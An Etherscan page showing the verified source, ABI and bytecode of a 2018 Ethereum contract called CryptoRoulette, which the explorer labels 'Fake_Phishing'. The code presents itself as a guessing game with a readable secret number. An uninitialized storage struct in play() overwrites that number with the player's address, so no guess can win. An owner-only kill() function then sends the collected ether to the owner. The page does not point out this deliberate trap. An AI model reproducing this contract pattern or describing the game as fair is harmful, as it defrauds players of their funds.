ETH Price: $3,126.18 (+5.34%)
Gas: 7.36 Gwei

Contract

0xfb6E71e0800BcCC0db8a9Cf326fe3213CA1A0EA0
 

Overview

ETH Balance

1 ETH

Eth Value

$3,126.18 (@ $3,126.18/ETH)

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Kill75560142019-04-12 23:07:272038 days ago1555110447IN
Fake_Phishing201479
0 ETH0.000043442
Play58161722018-06-19 10:16:002335 days ago1529403360IN
Fake_Phishing201479
0.001 ETH0.000185118
Transfer58076382018-06-17 23:33:012337 days ago1529278381IN
Fake_Phishing201479
1 ETH0.000042082
0x6080604058042312018-06-17 9:43:542337 days ago1529228634IN
 Create: CryptoRoulette
0 ETH0.000500041

Advanced mode:
Parent Transaction Hash Block From To
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
CryptoRoulette

Compiler Version
v0.4.24+commit.e67f0147

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2018-06-17
*/

pragma solidity ^0.4.24;

// To play, call the play() method with the guessed number.  Bet price: 0.1 ether

contract CryptoRoulette {

    uint256 public secretNumber;
    uint256 public lastPlayed;
    uint256 public betPrice = 0.1 ether;
    address public ownerAddr;

    struct Game {
        address player;
        uint256 number;
    }
    Game[] public gamesPlayed;

    function CryptoRoulette() public {
        ownerAddr = msg.sender;
        generateNewRandom();
    }

    function generateNewRandom() internal {
        // initialize secretNumber with a value between 0 and 15
        secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 16;
    }

    function play(uint256 number) payable public {
        require(msg.value >= betPrice && number < 16);

        Game game;
        game.player = msg.sender;
        game.number = number;
        gamesPlayed.push(game);

        if (number == secretNumber) {
            // win!
            if(msg.value*15>this.balance){
                msg.sender.transfer(this.balance);
            }
            else{
                msg.sender.transfer(msg.value*15);
            }
        }

        generateNewRandom();
        lastPlayed = now;
    }

    function kill() public {
        if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {
            suicide(msg.sender);
        }
    }

    function() public payable { }
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"gamesPlayed","outputs":[{"name":"player","type":"address"},{"name":"number","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"kill","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"number","type":"uint256"}],"name":"play","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"ownerAddr","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"secretNumber","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lastPlayed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"betPrice","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

608060405267016345785d8a000060025534801561001c57600080fd5b5033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061007561007a640100000000026401000000009004565b6100c2565b60104260014303406040518083815260200182600019166000191681526020019250505060405180910390206001900460ff168115156100b657fe5b0660ff16600081905550565b610585806100d16000396000f300608060405260043610610083576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063382cf0a61461008557806341c0e1b5146100f95780636898f82b146101105780639c675eaa14610130578063c36604ed14610187578063c5339132146101b2578063cfd8a175146101dd575b005b34801561009157600080fd5b506100b060048036038101908080359060200190929190505050610208565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b34801561010557600080fd5b5061010e61025b565b005b61012e600480360381019080803590602001909291905050506102de565b005b34801561013c57600080fd5b506101456104d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561019357600080fd5b5061019c6104ff565b6040518082815260200191505060405180910390f35b3480156101be57600080fd5b506101c7610505565b6040518082815260200191505060405180910390f35b3480156101e957600080fd5b506101f261050b565b6040518082815260200191505060405180910390f35b60048181548110151561021757fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154905082565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156102be5750620151806001540142115b156102dc573373ffffffffffffffffffffffffffffffffffffffff16ff5b565b600060025434101580156102f25750601082105b15156102fd57600080fd5b338160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818160010181905550600481908060018154018082558091505090600182039060005260206000209060020201600090919290919091506000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600182015481600101555050506000548214156104c6573073ffffffffffffffffffffffffffffffffffffffff1631600f3402111561047a573373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610474573d6000803e3d6000fd5b506104c5565b3373ffffffffffffffffffffffffffffffffffffffff166108fc600f34029081150290604051600060405180830381858888f193505050501580156104c3573d6000803e3d6000fd5b505b5b6104ce610511565b426001819055505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b60015481565b60025481565b60104260014303406040518083815260200182600019166000191681526020019250505060405180910390206001900460ff1681151561054d57fe5b0660ff166000819055505600a165627a7a723058206af8cb654928c1aabd7d0eb89e942d366836af59f7fd28fe8d42525e1488d3cd0029

Deployed Bytecode

0x608060405260043610610083576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063382cf0a61461008557806341c0e1b5146100f95780636898f82b146101105780639c675eaa14610130578063c36604ed14610187578063c5339132146101b2578063cfd8a175146101dd575b005b34801561009157600080fd5b506100b060048036038101908080359060200190929190505050610208565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b34801561010557600080fd5b5061010e61025b565b005b61012e600480360381019080803590602001909291905050506102de565b005b34801561013c57600080fd5b506101456104d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561019357600080fd5b5061019c6104ff565b6040518082815260200191505060405180910390f35b3480156101be57600080fd5b506101c7610505565b6040518082815260200191505060405180910390f35b3480156101e957600080fd5b506101f261050b565b6040518082815260200191505060405180910390f35b60048181548110151561021757fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154905082565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156102be5750620151806001540142115b156102dc573373ffffffffffffffffffffffffffffffffffffffff16ff5b565b600060025434101580156102f25750601082105b15156102fd57600080fd5b338160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818160010181905550600481908060018154018082558091505090600182039060005260206000209060020201600090919290919091506000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600182015481600101555050506000548214156104c6573073ffffffffffffffffffffffffffffffffffffffff1631600f3402111561047a573373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610474573d6000803e3d6000fd5b506104c5565b3373ffffffffffffffffffffffffffffffffffffffff166108fc600f34029081150290604051600060405180830381858888f193505050501580156104c3573d6000803e3d6000fd5b505b5b6104ce610511565b426001819055505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b60015481565b60025481565b60104260014303406040518083815260200182600019166000191681526020019250505060405180910390206001900460ff1681151561054d57fe5b0660ff166000819055505600a165627a7a723058206af8cb654928c1aabd7d0eb89e942d366836af59f7fd28fe8d42525e1488d3cd0029

Swarm Source

bzzr://6af8cb654928c1aabd7d0eb89e942d366836af59f7fd28fe8d42525e1488d3cd

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.